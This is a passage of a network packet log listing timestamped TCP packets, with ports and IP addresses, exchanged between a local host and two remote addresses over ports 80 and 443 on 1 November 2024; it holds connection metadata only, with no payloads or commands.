Nov 1, 2024 05:53:14.318605900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318675041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318687916 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318691969 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.318701029 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318722963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318747997 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.318747997 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.318782091 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.318797112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318810940 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318856955 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.318875074 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318911076 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.323575974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.323647022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.323661089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.323693037 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.323714018 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.323750019 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.474695921 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.474720955 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.474764109 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.474776983 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.474806070 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.474812984 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.474817991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.474853992 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.474970102 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475007057 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.475008965 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475028992 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475045919 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.475055933 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.475392103 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475405931 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475419998 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475430965 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.475445986 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.475467920 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.475519896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475533009 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475545883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.475554943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.475572109 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.475591898 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.476231098 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.476274967 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.476279974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.476294041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.476315975 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.476334095 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.476413012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.476425886 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.476438999 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.476449966 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.476465940 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.476480007 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.477193117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.477231026 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.477231979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.477245092 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.477267027 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.477286100 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.477358103 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.477370977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.477400064 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.477411985 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.479608059 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.479651928 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.555849075 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.555929899 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.555972099 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.621464968 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.621499062 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.621515036 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.621524096 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.631242037 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631266117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631279945 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631294012 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631294966 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631328106 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631453991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631483078 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631483078 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631515980 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631530046 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631552935 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631577969 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631630898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631644011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631666899 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631678104 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631717920 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631730080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631756067 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631769896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631769896 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631804943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631825924 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631863117 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631901026 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631913900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631937981 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631947994 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.631982088 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.631994963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632018089 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632035017 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632050991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632076979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632086039 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632110119 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632204056 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632215977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632229090 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632241011 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632258892 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632335901 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632349014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632373095 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632395029 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632456064 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632496119 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632496119 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632530928 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632565975 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632601976 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632616043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632628918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632652044 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632674932 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632740021 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632752895 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632781982 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632797003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632869005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632906914 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632949114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632961035 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.632986069 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.632997036 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633043051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633083105 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633084059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633130074 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633248091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633295059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633310080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633322001 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633347034 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633363008 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633377075 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633388996 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633402109 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633414030 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633428097 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633449078 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633552074 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633565903 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633579016 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633589983 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633590937 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633609056 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633625031 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633821964 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633860111 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633863926 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633894920 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.633899927 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.633934021 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.636173964 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.636221886 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.636224031 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.636239052 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.636262894 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.636285067 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787642956 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787657022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787669897 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787692070 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787714958 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787727118 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787761927 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787791014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787801981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787827015 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787839890 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787883997 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787897110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787910938 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787921906 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787925005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.787931919 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787959099 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.787976980 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788070917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788083076 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788103104 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788121939 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788147926 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788160086 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788172007 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788192034 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788212061 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788212061 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788362980 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788373947 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788386106 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788398027 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788398981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788410902 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788418055 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788424969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788444996 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788472891 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788599014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788610935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788624048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788641930 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788661003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788671017 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788815022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788827896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788839102 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788851976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788860083 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788866043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788878918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788880110 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788892031 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788904905 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788907051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.788918972 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.788944006 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789197922 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789212942 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789225101 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789237976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789239883 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789251089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789259911 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789263010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789275885 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789284945 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789300919 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789325953 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789541960 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789555073 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789566040 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789577961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789582014 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789591074 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789602995 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789603949 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789637089 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789663076 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789942980 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789954901 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789967060 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789979935 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.789980888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789993048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.789998055 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.790007114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.790020943 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.790021896 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.790034056 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.790047884 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.790050030 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.790062904 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.790072918 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.790076017 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.790091038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.790092945 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.790115118 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.790137053 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.792599916 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792645931 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.792669058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792684078 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792706013 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.792712927 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792726040 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.792756081 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.792795897 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792808056 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792820930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792833090 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.792838097 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792853117 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.792887926 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.792957067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.792993069 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793087006 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793098927 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793112040 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793131113 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793132067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793153048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793154001 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793167114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793174982 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793180943 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793199062 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793220043 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793325901 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793368101 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793375015 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793389082 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793412924 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793431044 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793495893 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793509007 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793530941 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793546915 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793557882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793575048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793590069 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793591022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793606043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793613911 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793620110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793629885 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793647051 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793662071 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793792963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793816090 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793829918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793831110 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793845892 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793853998 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793859959 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793872118 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793873072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.793885946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.793905020 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:14.794049978 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.794065952 CET	80	49987	185.215.113.16	192.168.2.5
